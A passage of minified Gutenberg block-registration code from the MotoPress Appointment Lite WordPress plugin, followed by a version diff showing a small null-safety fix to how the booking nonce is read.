as{render(){const{show_image:e,show_title:t,show_excerpt:i,show_price:n,show_duration:a,show_capacity:o,show_employees:r,services:l,employees:p,categories:m,tags:c,posts_per_page:h,columns_count:d,orderby:u,order:g}=this.props.attributes,{setAttributes:y}=this.props;return[wp.element.createElement(hs,{key:"inspector"},wp.element.createElement(os,null,wp.element.createElement(ls,{title:s.__("Settings","motopress-appointment"),initialOpen:!0},wp.element.createElement(ms,{label:s.__("Show featured image.","motopress-appointment"),checked:e,onChange:e=>{y({show_image:e})}}),wp.element.createElement(ms,{label:s.__("Show post title.","motopress-appointment"),checked:t,onChange:e=>{y({show_title:e})}}),wp.element.createElement(ms,{label:s.__("Show post excerpt.","motopress-appointment"),checked:i,onChange:e=>{y({show_excerpt:e})}}),wp.element.createElement(ms,{label:s.__("Show service price.","motopress-appointment"),checked:n,onChange:e=>{y({show_price:e})}}),wp.element.createElement(ms,{label:s.__("Show service duration.","motopress-appointment"),checked:a,onChange:e=>{y({show_duration:e})}}),wp.element.createElement(ms,{label:s.__("Show service capacity.","motopress-appointment"),checked:o,onChange:e=>{y({show_capacity:e})}}),wp.element.createElement(ms,{label:s.__("Show service employees.","motopress-appointment"),checked:r,onChange:e=>{y({show_employees:e})}}),wp.element.createElement(ps,{label:s.__("Services","motopress-appointment"),help:s.__("Comma-separated slugs or IDs of services that will be shown.","motopress-appointment"),value:l,onChange:e=>{y({services:e})}}),wp.element.createElement(ps,{label:s.__("Employees","motopress-appointment"),help:s.__("Comma-separated slugs or IDs of employees that perform these services.","motopress-appointment"),value:p,onChange:e=>{y({employees:e})}}),wp.element.createElement(ps,{label:s.__("Categories","motopress-appointment"),help:s.__("Comma-separated slugs or IDs of categories that will be shown.","motopress-appointment"),value:m,onChange:e=>{y({categories:e})}}),wp.element.createElement(ps,{label:s.__("Tags","motopress-appointment"),help:s.__("Comma-separated slugs or IDs of tags that will be shown.","motopress-appointment"),value:c,onChange:e=>{y({tags:e})}}),wp.element.createElement(cs,{label:s.__("Posts Per Page","motopress-appointment"),value:h,onChange:e=>y({posts_per_page:e}),min:-1,max:100,placeholder:"0"}),wp.element.createElement(cs,{label:s.__("Columns Count","motopress-appointment"),help:s.__("The number of columns in the grid.","motopress-appointment"),value:d,onChange:e=>y({columns_count:e}),min:0,max:100,placeholder:"0"}),wp.element.createElement(rs,{label:s.__("Order By","motopress-appointment"),value:void 0!==u?u:"none",onChange:e=>y({orderby:e}),options:[{value:"none",label:s.__("No order","motopress-appointment")},{value:"ID",label:s.__("Post ID","motopress-appointment")},{value:"author",label:s.__("Post author","motopress-appointment")},{value:"title",label:s.__("Post title","motopress-appointment")},{value:"name",label:s.__("Post name (post slug)","motopress-appointment")},{value:"date",label:s.__("Post date","motopress-appointment")},{value:"modified",label:s.__("Last modified date","motopress-appointment")},{value:"rand",label:s.__("Random order","motopress-appointment")},{value:"relevance",label:s.__("Relevance","motopress-appointment")},{value:"menu_order",label:s.__("Page order","motopress-appointment")},{value:"menu_order title",label:s.__("Page order and post title","motopress-appointment")},{value:"price",label:s.__("Price","motopress-appointment")}]}),"none"!==u&&wp.element.createElement(rs,{label:s.__("Order","motopress-appointment"),value:void 0!==g?g:"desc",onChange:e=>y({order:e}),options:[{value:"desc",label:s.__("DESC","motopress-appointment")},{value:"asc",label:s.__("ASC","motopress-appointment")}]}))))]}};const{serverSideRender:us}=wp,{Component:gs,Fragment:ys}=wp.element,{Disabled:bs}=wp.components;const{registerBlockType:_s}=wp.blocks;_s("motopress-appointment/services-list",{title:s.__("Services List","motopress-appointment"),icon:wp.element.createElement("svg",{xmlns:"http://www.w3.org/2000/svg",x:"0px",y:"0px",viewBox:"0 0 24 24"},wp.element.createElement("polygon",{points:"24,21 6,21 6,23 24,23 "}),wp.element.createElement("path",{d:"M2,20c-1.1,0-2,0.9-2,2s0.9,2,2,2s2-0.9,2-2S3.1,20,2,20L2,20z"}),wp.element.createElement("polygon",{points:"24,15 6,15 6,17 24,17 "}),wp.element.createElement("path",{d:"M2,14c-1.1,0-2,0.9-2,2s0.9,2,2,2s2-0.9,2-2S3.1,14,2,14L2,14z"}),wp.element.createElement("path",{d:"M17.59,7.18l-1.02-0.8c0.01-0.11,0.02-0.24,0.02-0.38s-0.01-0.27-0.02-0.38l1.02-0.8c0.26-0.21,0.32-0.57,0.16-0.85\r l-1.12-1.92c-0.16-0.29-0.51-0.41-0.82-0.3l-1.2,0.48c-0.21-0.15-0.43-0.27-0.65-0.38l-0.18-1.28C13.73,0.24,13.45,0,13.12,0h-2.25\r c-0.33,0-0.61,0.24-0.65,0.56l-0.18,1.28C9.81,1.95,9.59,2.08,9.38,2.22l-1.2-0.48c-0.31-0.12-0.65,0-0.81,0.29L6.24,3.97\r C6.08,4.25,6.15,4.62,6.4,4.82l1.02,0.8C7.41,5.76,7.41,5.88,7.41,6s0,0.24,0.02,0.38L6.4,7.18C6.15,7.39,6.08,7.75,6.24,8.03\r l1.12,1.92c0.16,0.29,0.51,0.41,0.82,0.29l1.2-0.48c0.21,0.15,0.43,0.27,0.65,0.38l0.18,1.28c0.04,0.33,0.32,0.57,0.65,0.57h2.25\r c0.33,0,0.61-0.24,0.65-0.56l0.18-1.28c0.23-0.11,0.45-0.24,0.65-0.38l1.21,0.48c0.31,0.12,0.65,0,0.81-0.29l1.13-1.95\r C17.92,7.73,17.85,7.38,17.59,7.18z M12,8.5c-1.38,0-2.5-1.12-2.5-2.5s1.12-2.5,2.5-2.5s2.5,1.12,2.5,2.5S13.38,8.5,12,8.5z"})),category:"mpa-gutenberg-blocks",keywords:[s.__("appointment","motopress-appointment")],supports:{anchor:!0,customClassName:!0},attributes:{show_image:{type:"boolean",default:!0},show_title:{type:"boolean",default:!0},show_excerpt:{type:"boolean",default:!0},show_price:{type:"boolean",default:!0},show_duration:{type:"boolean",default:!0},show_capacity:{type:"boolean",default:!0},show_employees:{type:"boolean",default:!0},services:{type:"string",default:""},employees:{type:"string",default:""},categories:{type:"string",default:""},tags:{type:"string",default:""},posts_per_page:{type:"number",default:3},columns_count:{type:"number",default:3},orderby:{type:"string",default:"none"},order:{type:"string",default:"desc"}},edit:class extends gs{constructor(){super(...arguments)}render(){return wp.element.createElement(ys,null,wp.element.createElement(ds,this.props),wp.element.createElement(bs,null,wp.element.createElement(us,{block:"motopress-appointment/services-list",attributes:this.props.attributes})))}},save:()=>null});const{Component:vs,Fragment:fs}=wp.element,{PanelBody:ws,TextControl:Cs}=wp.components,{InspectorControls:Ss}=wp.blockEditor||wp.editor;let Es=class extends vs{render(){const{id:e}=this.props.attributes,{setAttributes:t}=this.props;return[wp.element.createElement(Ss,{key:"inspector"},wp.element.createElement(fs,null,wp.element.createElement(ws,{title:s.__("Settings","motopress-appointment"),initialOpen:!0},wp.element.createElement(Cs,{label:s.__("ID","motopress-appointment"),help:s.__("Post ID of an employee to display content from. Note: this parameter automatically uses the current post ID when a shortcode is inside the employee's post and is required otherwise.","motopress-appointment"),value:e,onChange:e=>{t({id:e})}}))))]}};const{serverSideRender:ks}=wp,{Component:Ps,Fragment:Is}=wp.element,{Disabled:Ts}=wp.components;const{registerBlockType:$s}=wp.blocks;$s("motopress-appointment/employee-image",{title:s.__("Employee Image","motopress-appointment"),icon:wp.element.createElement("svg",{xmlns:"http://www.w3.org/2000/svg",x:"0px",y:"0px",viewBox:"0 0 24 24"},wp.element.createElement("polygon",{points:"24,21 6,21 6,23 24,23 "}),wp.element.createElement("path",{d:"M2,20c-1.1,0-2,0.9-2,2s0.9,2,2,2s2-0.9,2-2S3.1,20,2,20L2,20z"}),wp.element.createElement("polygon",{points:"24,15 6,15 6,17 24,17 "}),wp.element.createElement("path",{d:"M2,14c-1.1,0-2,0.9-2,2s0.9,2,2,2s2-0.9,2-2S3.1,14,2,14L2,14z"}),wp.element.createElement("path",{d:"M14.93,6.7C15.59,5.99,16,5.05,16,4c0-2.21-1.79-4-4-4S8,1.79,8,4c0,1.05,0.41,1.99,1.07,2.7C6.95,7.78,5.5,9.97,5.5,12.5\r c0,0.17,0.01,0.33,0.03,0.5H6h1.55h8.9H17h1.47c0.01-0.17,0.03-0.33,0.03-0.5C18.5,9.97,17.05,7.78,14.93,6.7z M12,2\r c1.1,0,2,0.9,2,2s-0.9,2-2,2s-2-0.9-2-2S10.9,2,12,2z M12,8c1.95,0,3.6,1.26,4.22,3H7.78C8.4,9.26,10.05,8,12,8z"})),category:"mpa-gutenberg-blocks",keywords:[s.__("appointment","motopress-appointment")],supports:{anchor:!0,customClassName:!0},attributes:{id:{type:"string",default:""}},edit:class extends Ps{constructor(e){super(...arguments)}render(){return wp.element.createElement(Is,null,wp.element.createElement(Es,this.props),wp.element.createElement(Ts,null,wp.element.createElement(ks,{block:"motopress-appointment/employee-image",attributes:this.props.attributes})))}},save:()=>null});const{Component:Ds,Fragment:xs}=wp.element,{PanelBody:Ms,TextControl:As}=wp.components,{InspectorControls:Bs}=wp.blockEditor||wp.editor;let Ls=class extends Ds{render(){const{id:e}=this.props.attributes,{setAttributes:t}=this.props;return[wp.element.createElement(Bs,{key:"inspector"},wp.element.createElement(xs,null,wp.element.createElement(Ms,{title:s.__("Settings","motopress-appointment"),initialOpen:!0},wp.element.createElement(As,{label:s.__("ID","motopress-appointment"),help:s.__("Post ID of an employee to display content from. Note: this parameter automatically uses the current post ID when a shortcode is inside the employee's post and is required otherwise.","motopress-appointment"),value:e,onChange:e=>{t({id:e})}}))))]}};const{serverSideRender:Fs}=wp,{Component:Rs,Fragment:Os}=wp.element,{Disabled:Ns}=wp.components;const{registerBlockType:Hs}=wp.blocks;Hs("motopress-appointment/employee-title",{title:s.__("Employee Title","motopress-appointment"),icon:wp.element.createElement("svg",{xmlns:"http://www.w3.org/2000/svg",x:"0px",y:"0px",viewBox:"0 0 24 24"},wp.element.createElement("polygon",{points:"24,21 6,21 6,23 24,23 "}),wp.element.createElement("path",{d:"M2,20c-1.1,0-2,0.9-2,2s0.9,2,2,2s2-0.9,2-2S3.1,20,2,20L2,20z"}),wp.element.createElement("polygon",{points:"24,15 6,15 6,17 24,17 "}),wp.element.createElement("path",{d:"M2,14c-1.1,0-2,0.9-2,2s0.9,2,2,2s2-0.9,2-2S3.1,14,2,14L2,14z"}),wp.element.createElement("path",{d:"M14.93,6.7C15.59,5.99,16,5.05,16,4c0-2.21-1.79-4-4-4S8,1.79,8,4c0,1.05,0.41,1.99,1.07,2.7C6.95,7.78,5.5,9.97,5.5,12.5\r c0,0.17,0.01,0.33,0.03,0.5H6h1.55h8.9H17h1.47c0.01-0.17,0.03-0.33,0.03-0.5C18.5,9.97,17.05,7.78,14.93,6.7z M12,2\r c1.1,0,2,0.9,2,2s-0.9,2-2,2s-2-0.9-2-2S10.9,2,12,2z M12,8c1.95,0,3.6,1.26,4.22,3H7.78C8.4,9.26,10.05,8,12,8z"})),category:"mpa-gutenberg-blocks",keywords:[s.__("appointment","motopress-appointment")],supports:{anchor:!0,customClassName:!0},attributes:{id:{type:"string",default:""}},edit:class extends Rs{constructor(e){super(...arguments)}render(){return wp.element.createElement(Os,null,wp.element.createElement(Ls,this.props),wp.element.createElement(Ns,null,wp.element.createElement(Fs,{block:"motopress-appointment/employee-title",attributes:this.props.attributes})))}},save:()=>null});const{Component:Vs,Fragment:zs}=wp.element,{PanelBody:qs,TextControl:Us}=wp.components,{InspectorControls:js}=wp.blockEditor||wp.editor;let Ws=class extends Vs{render(){const{id:e}=this.props.attributes,{setAttributes:t}=this.props;return[wp.element.createElement(js,{key:"inspector"},wp.element.createElement(zs,null,wp.element.createElement(qs,{title:s.__("Settings","motopress-appointment"),initialOpen:!0},wp.element.createElement(Us,{label:s.__("ID","motopress-appointment"),help:s.__("Post ID of an employee to display content from. Note: this parameter automatically uses the current post ID when a shortcode is inside the employee's post and is required otherwise.","motopress-appointment"),value:e,onChange:e=>{t({id:e})}}))))]}};const{serverSideRender:Gs}=wp,{Component:Ys,Fragment:Qs}=wp.element,{Disabled:Ks}=wp.components;const{registerBlockType:Zs}=wp.blocks;Zs("motopress-appointment/employee-services-list",{title:s.__("Employee Services List","motopress-appointment"),icon:wp.element.createElement("svg",{xmlns:"http://www.w3.org/2000/svg",x:"0px",y:"0px",viewBox:"0 0 24 24"},wp.element.createElement("polygon",{points:"24,21 6,21 6,23 24,23 "}),wp.element.createElement("path",{d:"M2,20c-1.1,0-2,0.9-2,2s0.9,2,2,2s2-0.9,2-2S3.1,20,2,20L2,20z"}),wp.element.createElement("polygon",{points:"24,15 6,15 6,17 24,17 "}),wp.element.createElement("path",{d:"M2,14c-1.1,0-2,0.9-2,2s0.9,2,2,2s2-0.9,2-2S3.1,14,2,14L2,14z"}),wp.element.createElement("path",{d:"M14.93,6.7C15.59,5.99,16,5.05,16,4c0-2.21-1.79-4-4-4S8,1.79,8,4c0,1.05,0.41,1.99,1.07,2.7C6.95,7.78,5.5,9.97,5.5,12.5\r c0,0.17,0.01,0.33,0.03,0.5H6h1.55h8.9H17h1.47c0.01-0.17,0.03-0.33,0.03-0.5C18.5,9.97,17.05,7.78,14.93,6.7z M12,2\r c1.1,0,2,0.9,2,2s-0.9,2-2,2s-2-0.9-2-2S10.9,2,12,2z M12,8c1.95,0,3.6,1.26,4.22,3H7.78C8.4,9.26,10.05,8,12,8z"})),category:"mpa-gutenberg-blocks",keywords:[s.__("appointment","motopress-appointment")],supports:{anchor:!0,customClassName:!0},attributes:{id:{type:"string",default:""}},edit:class extends Ys{constructor(e){super(...arguments)}render(){return wp.element.createElement(Qs,null,wp.element.createElement(Ws,this.props),wp.element.createElement(Ks,null,wp.element.createElement(Gs,{block:"motopress-appointment/employee-services-list",attributes:this.props.attributes})))}},save:()=>null});const{Component:Js,Fragment:Xs}=wp.element,{PanelBody:ei,TextControl:ti}=wp.components,{InspectorControls:si}=wp.blockEditor||wp.editor;let ii=class extends Js{render(){const{id:e}=this.props.attributes,{setAttributes:t}=this.props;return[wp.element.createElement(si,{key:"inspector"},wp.element.createElement(Xs,null,wp.element.createElement(ei,{title:s.__("Settings","motopress-appointment"),initialOpen:!0},wp.element.createElement(ti,{label:s.__("ID","motopress-appointment"),help:s.__("Post ID of an employee to display content from. Note: this parameter automatically uses the current post ID when a shortcode is inside the employee's post and is required otherwise.","motopress-appointment"),value:e,onChange:e=>{t({id:e})}}))))]}};const{serverSideRender:ni}=wp,{Component:ai,Fragment:oi}=wp.element,{Disabled:ri}=wp.components;const{registerBlockType:li}=wp.blocks;li("motopress-appointment/employee-schedule",{title:s.__("Employee Schedule","motopress-appointment"),icon:wp.element.createElement("svg",{xmlns:"http://www.w3.org/2000/svg",x:"0px",y:"0px",viewBox:"0 0 24 24"},wp.element.createElement("polygon",{points:"24,21 6,21 6,23 24,23 "}),wp.element.createElement("path",{d:"M2,20c-1.1,0-2,0.9-2,2s0.9,2,2,2s2-0.9,2-2S3.1,20,2,20L2,20z"}),wp.element.createElement("polygon",{points:"24,15 6,15 6,17 24,17 "}),wp.element.createElement("path",{d:"M2,14c-1.1,0-2,0.9-2,2s0.9,2,2,2s2-0.9,2-2S3.1,14,2,14L2,14z"}),wp.element.createElement("path",{d:"M14.93,6.7C15.59,5.99,16,5.05,16,4c0-2.21-1.79-4-4-4S8,1.79,8,4c0,1.05,0.41,1.99,1.07,2.7C6.95,7.78,5.5,9.97,5.5,12.5\r c0,0.17,0.01,0.33,0.03,0.5H6h1.55h8.9H17h1.47c0.01-0.17,0.03-0.33,0.03-0.5C18.5,9.97,17.05,7.78,14.93,6.7z M12,2\r c1.1,0,2,0.9,2,2s-0.9,2-2,2s-2-0.9-2-2S10.9,2,12,2z M12,8c1.95,0,3.6,1.26,4.22,3H7.78C8.4,9.26,10.05,8,12,8z"})),category:"mpa-gutenberg-blocks",keywords:[s.__("appointment","motopress-appointment")],supports:{anchor:!0,customClassName:!0},attributes:{id:{type:"string",default:""}},edit:class extends ai{constructor(e){super(...arguments)}render(){return wp.element.createElement(oi,null,wp.element.createElement(ii,this.props),wp.element.createElement(ri,null,wp.element.createElement(ni,{block:"motopress-appointment/employee-schedule",attributes:this.props.attributes})))}},save:()=>null});const{Component:pi,Fragment:mi}=wp.element,{PanelBody:ci,TextControl:hi}=wp.components,{InspectorControls:di}=wp.blockEditor||wp.editor;let ui=class extends pi{render(){const{id:e}=this.props.attributes,{setAttributes:t}=this.props;return[wp.element.createElement(di,{key:"inspector"},wp.element.createElement(mi,null,wp.element.createElement(ci,{title:s.__("Settings","motopress-appointment"),initialOpen:!0},wp.element.createElement(hi,{label:s.__("ID","motopress-appointment"),help:s.__("Post ID of an employee to display content from. Note: this parameter automatically uses the current post ID when a shortcode is inside the employee's post and is required otherwise.","motopress-appointment"),value:e,onChange:e=>{t({id:e})}}))))]}};const{serverSideRender:gi}=wp,{Component:yi,Fragment:bi}=wp.element,{Disabled:_i}=wp.components;const{registerBlockType:vi}=wp.blocks;vi("motopress-appointment/employee-content",{title:s.__("Employee Content","motopress-appointment"),icon:wp.element.createElement("svg",{xmlns:"http://www.w3.org/2000/svg",x:"0px",y:"0px",viewBox:"0 0 24 24"},wp.element.createElement("polygon",{points:"24,21 6,21 6,23 24,23 "}),wp.element.createElement("path",{d:"M2,20c-1.1,0-2,0.9-2,2s0.9,2,2,2s2-0.9,2-2S3.1,20,2,20L2,20z"}),wp.element.createElement("polygon",{points:"24,15 6,15 6,17 24,17 "}),wp.element.createElement("path",{d:"M2,14c-1.1,0-2,0.9-2,2s0.9,2,2,2s2-0.9,2-2S3.1,14,2,14L2,14z"}),wp.element.createElement("path",{d:"M14.93,6.7C15.59,5.99,16,5.05,16,4c0-2.21-1.79-4-4-4S8,1.79,8,4c0,1.05,0.41,1.99,1.07,2.7C6.95,7.78,5.5,9.97,5.5,12.5\r c0,0.17,0.01,0.33,0.03,0.5H6h1.55h8.9H17h1.47c0.01-0.17,0.03-0.33,0.03-0.5C18.5,9.97,17.05,7.78,14.93,6.7z M12,2\r c1.1,0,2,0.9,2,2s-0.9,2-2,2s-2-0.9-2-2S10.9,2,12,2z M12,8c1.95,0,3.6,1.26,4.22,3H7.78C8.4,9.26,10.05,8,12,8z"})),category:"mpa-gutenberg-blocks",keywords:[s.__("appointment","motopress-appointment")],supports:{anchor:!0,customClassName:!0},attributes:{id:{type:"string",default:""}},edit:class extends yi{constructor(e){super(...arguments)}render(){return wp.element.createElement(bi,null,wp.element.createElement(ui,this.props),wp.element.createElement(_i,null,wp.element.createElement(gi,{block:"motopress-appointment/employee-content",attributes:this.props.attributes})))}},save:()=>null});const{Component:fi,Fragment:wi}=wp.element,{PanelBody:Ci,TextControl:Si}=wp.components,{InspectorControls:Ei}=wp.blockEditor||wp.editor;let ki=class extends fi{render(){const{id:e}=this.props.attributes,{setAttributes:t}=this.props;return[wp.element.createElement(Ei,{key:"inspector"},wp.element.createElement(wi,null,wp.element.createElement(Ci,{title:s.__("Settings","motopress-appointment"),initialOpen:!0},wp.element.createElement(Si,{label:s.__("ID","motopress-appointment"),help:s.__("Post ID of an employee to display content from. Note: this parameter automatically uses the current post ID when a shortcode is inside the employee's post and is required otherwise.","motopress-appointment"),value:e,onChange:e=>{t({id:e})}}))))]}};const{serverSideRender:Pi}=wp,{Component:Ii,Fragment:Ti}=wp.element,{Disabled:$i}=wp.components;const{registerBlockType:Di}=wp.blocks;Di("motopress-appointment/employee-contacts",{title:s.__("Employee Contact Information","motopress-appointment"),icon:wp.element.createElement("svg",{xmlns:"http://www.w3.org/2000/svg",x:"0px",y:"0px",viewBox:"0 0 24 24"},wp.element.createElement("polygon",{points:"24,21 6,21 6,23 24,23 "}),wp.element.createElement("path",{d:"M2,20c-1.1,0-2,0.9-2,2s0.9,2,2,2s2-0.9,2-2S3.1,20,2,20L2,20z"}),wp.element.createElement("polygon",{points:"24,15 6,15 6,17 24,17 "}),wp.element.createElement("path",{d:"M2,14c-1.1,0-2,0.9-2,2s0.9,2,2,2s2-0.9,2-2S3.1,14,2,14L2,14z"}),wp.element.createElement("path",{d:"M14.93,6.7C15.59,5.99,16,5.05,16,4c0-2.21-1.79-4-4-4S8,1.79,8,4c0,1.05,0.41,1.99,1.07,2.7C6.95,7.78,5.5,9.97,5.5,12.5\r c0,0.17,0.01,0.33,0.03,0.5H6h1.55h8.9H17h1.47c0.01-0.17,0.03-0.33,0.03-0.5C18.5,9.97,17.05,7.78,14.93,6.7z M12,2\r c1.1,0,2,0.9,2,2s-0.9,2-2,2s-2-0.9-2-2S10.9,2,12,2z M12,8c1.95,0,3.6,1.26,4.22,3H7.78C8.4,9.26,10.05,8,12,8z"})),category:"mpa-gutenberg-blocks",keywords:[s.__("appointment","motopress-appointment")],supports:{anchor:!0,customClassName:!0},attributes:{id:{type:"string",default:""}},edit:class extends Ii{constructor(e){super(...arguments)}render(){return wp.element.createElement(Ti,null,wp.element.createElement(ki,this.props),wp.element.createElement($i,null,wp.element.createElement(Pi,{block:"motopress-appointment/employee-contacts",attributes:this.props.attributes})))}},save:()=>null});const{Component:xi,Fragment:Mi}=wp.element,{PanelBody:Ai,TextControl:Bi}=wp.components,{InspectorControls:Li}=wp.blockEditor||wp.editor;let Fi=class extends xi{render(){const{id:e}=this.props.attributes,{setAttributes:t}=this.props;return[wp.element.createElement(Li,{key:"inspector"},wp.element.createElement(Mi,null,wp.element.createElement(Ai,{title:s.__("Settings","motopress-appointment"),initialOpen:!0},wp.element.createElement(Bi,{label:s.__("ID","motopress-appointment"),help:s.__("Post ID of an employee to display content from. Note: this parameter automatically uses the current post ID when a shortcode is inside the employee's post and is required otherwise.","motopress-appointment"),value:e,onChange:e=>{t({id:e})}}))))]}};const{serverSideRender:Ri}=wp,{Component:Oi,Fragment:Ni}=wp.element,{Disabled:Hi}=wp.components;const{registerBlockType:Vi}=wp.blocks;Vi("motopress-appointment/employee-social-networks",{title:s.__("Employee Social Networks","motopress-appointment"),icon:wp.element.createElement("svg",{xmlns:"http://www.w3.org/2000/svg",x:"0px",y:"0px",viewBox:"0 0 24 24"},wp.element.createElement("polygon",{points:"24,21 6,21 6,23 24,23 "}),wp.element.createElement("path",{d:"M2,20c-1.1,0-2,0.9-2,2s0.9,2,2,2s2-0.9,2-2S3.1,20,2,20L2,20z"}),wp.element.createElement("polygon",{points:"24,15 6,15 6,17 24,17 "}),wp.element.createElement("path",{d:"M2,14c-1.1,0-2,0.9-2,2s0.9,2,2,2s2-0.9,2-2S3.1,14,2,14L2,14z"}),wp.element.createElement("path",{d:"M14.93,6.7C15.59,5.99,16,5.05,16,4c0-2.21-1.79-4-4-4S8,1.79,8,4c0,1.05,0.41,1.99,1.07,2.7C6.95,7.78,5.5,9.97,5.5,12.5\r c0,0.17,0.01,0.33,0.03,0.5H6h1.55h8.9H17h1.47c0.01-0.17,0.03-0.33,0.03-0.5C18.5,9.97,17.05,7.78,14.93,6.7z M12,2\r c1.1,0,2,0.9,2,2s-0.9,2-2,2s-2-0.9-2-2S10.9,2,12,2z M12,8c1.95,0,3.6,1.26,4.22,3H7.78C8.4,9.26,10.05,8,12,8z"})),category:"mpa-gutenberg-blocks",keywords:[s.__("appointment","motopress-appointment")],supports:{anchor:!0,customClassName:!0},attributes:{id:{type:"string",default:""}},edit:class extends Oi{constructor(e){super(...arguments)}render(){return wp.element.createElement(Ni,null,wp.element.createElement(Fi,this.props),wp.element.createElement(Hi,null,wp.element.createElement(Ri,{block:"motopress-appointment/employee-social-networks",attributes:this.props.attributes})))}},save:()=>null});const{Component:zi,Fragment:qi}=wp.element,{PanelBody:Ui,TextControl:ji}=wp.components,{InspectorControls:Wi}=wp.blockEditor||wp.editor;class Gi extends zi{render(){const{id:e}=this.props.attributes,{setAttributes:t}=this.props;return[wp.element.createElement(Wi,{key:"inspector"},wp.element.createElement(qi,null,wp.element.createElement(Ui,{title:s.__("Settings","motopress-appointment"),initialOpen:!0},wp.element.createElement(ji,{label:s.__("ID","motopress-appointment"),help:s.__("Post ID of an employee to display content from. Note: this parameter automatically uses the current post ID when a shortcode is inside the employee's post and is required otherwise.","motopress-appointment"),value:e,onChange:e=>{t({id:e})}}))))]}}const{serverSideRender:Yi}=wp,{Component:Qi,Fragment:Ki}=wp.element,{Disabled:Zi}=wp.components;const{registerBlockType:Ji}=wp.blocks;Ji("motopress-appointment/employee-additional-info",{title:s.__("Employee Additional Information","motopress-appointment"),icon:wp.element.createElement("svg",{xmlns:"http://www.w3.org/2000/svg",x:"0px",y:"0px",viewBox:"0 0 24 24"},wp.element.createElement("polygon",{points:"24,21 6,21 6,23 24,23 "}),wp.element.createElement("path",{d:"M2,20c-1.1,0-2,0.9-2,2s0.9,2,2,2s2-0.9,2-2S3.1,20,2,20L2,20z"}),wp.element.createElement("polygon",{points:"24,15 6,15 6,17 24,17 "}),wp.element.createElement("path",{d:"M2,14c-1.1,0-2,0.9-2,2s0.9,2,2,2s2-0.9,2-2S3.1,14,2,14L2,14z"}),wp.element.createElement("path",{d:"M14.93,6.7C15.59,5.99,16,5.05,16,4c0-2.21-1.79-4-4-4S8,1.79,8,4c0,1.05,0.41,1.99,1.07,2.7C6.95,7.78,5.5,9.97,5.5,12.5\r c0,0.17,0.01,0.33,0.03,0.5H6h1.55h8.9H17h1.47c0.01-0.17,0.03-0.33,0.03-0.5C18.5,9.97,17.05,7.78,14.93,6.7z M12,2\r c1.1,0,2,0.9,2,2s-0.9,2-2,2s-2-0.9-2-2S10.9,2,12,2z M12,8c1.95,0,3.6,1.26,4.22,3H7.78C8.4,9.26,10.05,8,12,8z"})),category:"mpa-gutenberg-blocks",keywords:[s.__("appointment","motopress-appointment")],supports:{anchor:!0,customClassName:!0},attributes:{id:{type:"string",default:""}},edit:class extends Qi{constructor(e){super(...arguments)}render(){return wp.element.createElement(Ki,null,wp.element.createElement(Gi,this.props),wp.element.createElement(Zi,null,wp.element.createElement(Yi,{block:"motopress-appointment/employee-additional-info",attributes:this.props.attributes})))}},save:()=>null})}(React,wp.date,wp.i18n,mpaData,intlTelInput)}();
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.5/assets/js/public.js /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.6/assets/js/public.js
--- /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.5/assets/js/public.js	2026-06-23 11:36:52.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.6/assets/js/public.js	2026-06-30 15:16:08.000000000 +0000
@@ -2161,6 +2161,7 @@
 	   * @access protected

 	   */
 	  setupProperties() {
+	    var _mpaData$nonces$mpa_c;
 	    /**

 	     * @since 1.0

 	     * @var {Map}

@@ -2200,7 +2201,7 @@
 
 	    // Later, StepPayment will replace the nonce with
 	    // "mpa_create_booking_{$bookingId}"
-	    this.bookingNonce = mpaData.nonces.mpa_create_booking;
+	    this.bookingNonce = (_mpaData$nonces$mpa_c = mpaData?.nonces?.mpa_create_booking) !== null && _mpaData$nonces$mpa_c !== void 0 ? _mpaData$nonces$mpa_c : ''; // Missing for blocks
 	  }
 
 	  /**

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.5/assets/js/public.min.js /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.6/assets/js/public.min.js
--- /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.5/assets/js/public.min.js	2026-06-23 11:36:52.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.6/assets/js/public.min.js	2026-06-30 15:16:08.000000000 +0000
@@ -1 +1 @@
-!function(){"use strict";!function(e,t,s){function i(e){return e.filter(((e,t,s)=>s.indexOf(e)===t))}function a(e,t){return e.filter((e=>-1!=t.indexOf(e)))}function r(e,t){let s=Math.min(e.length,t.length),i={};for(let a=0;a<s;a++)i[e[a]]=t[a];return i}function n(e,t,s=1){let i=s||1,a=Math.abs(Math.floor((t-e)/i))+1;return[...Array(a).keys()].map((t=>t*s+e))}let o="/motopress/appointment/v1";function l(e,t={},s="GET"){return new Promise(((i,a)=>{wp.apiRequest({path:o+e,type:s,data:t}).done((e=>i(e))).fail(((e,t)=>{let s="parsererror";s=e.responseJSON&&e.responseJSON.message?e.responseJSON.message:`Status: ${t}`,"parsererror"==s&&(s="REST request failed. Maybe PHP error on the server side. Check PHP logs."),a(new Error(s))}))}))}function h(e,t={}){return l(e,t,"GET")}function c(e,t){return l(e,t,"POST")}class p{constructor(){this.settings=this.getDefaults(),this.loadingPromise=this.load()}getDefaults(){return{plugin_name:"Appointment Booking",today:"2030-01-01",business_name:"",default_time_step:30,default_booking_status:"confirmed",confirmation_mode:"auto",terms_page_id_for_acceptance:0,allow_multibooking:!1,allow_coupons:!1,allow_customer_account_creation:!1,country:"",currency:"EUR",currency_symbol:"&euro;",currency_position:"before",decimal_separator:".",thousand_separator:",",number_of_decimals:2,timezone:"UTC",date_format:"F j, Y",time_format:"H:i",week_starts_on:0,thumbnail_size:{width:150,height:150},flatpickr_locale:"en",enable_payments:!1,active_gateways:[],reservation_received_page_url:"",failed_transaction_page_url:"",default_payment_gateway:""}}load(){return new Promise(((e,t)=>{h("/settings").then((e=>this.settings=e),(e=>console.error("Unable to load public settings.",e))).finally((()=>e(this.settings)))}))}ready(){return this.loadingPromise}getPluginName(){return this.settings.plugin_name}getBusinessDate(){return this.settings.today}getBusinessName(){return this.settings.business_name}getTimeStep(){return this.settings.default_time_step}getDefaultBookingStatus(){return this.settings.default_booking_status}getConfirmationMode(){return this.settings.confirmation_mode}getTermsPageIdForAcceptance(){return this.settings.terms_page_id_for_acceptance}isMultibookingEnabled(){return this.settings.allow_multibooking}isCouponsEnabled(){return this.settings.allow_coupons}isAllowCustomerAccountCreation(){return 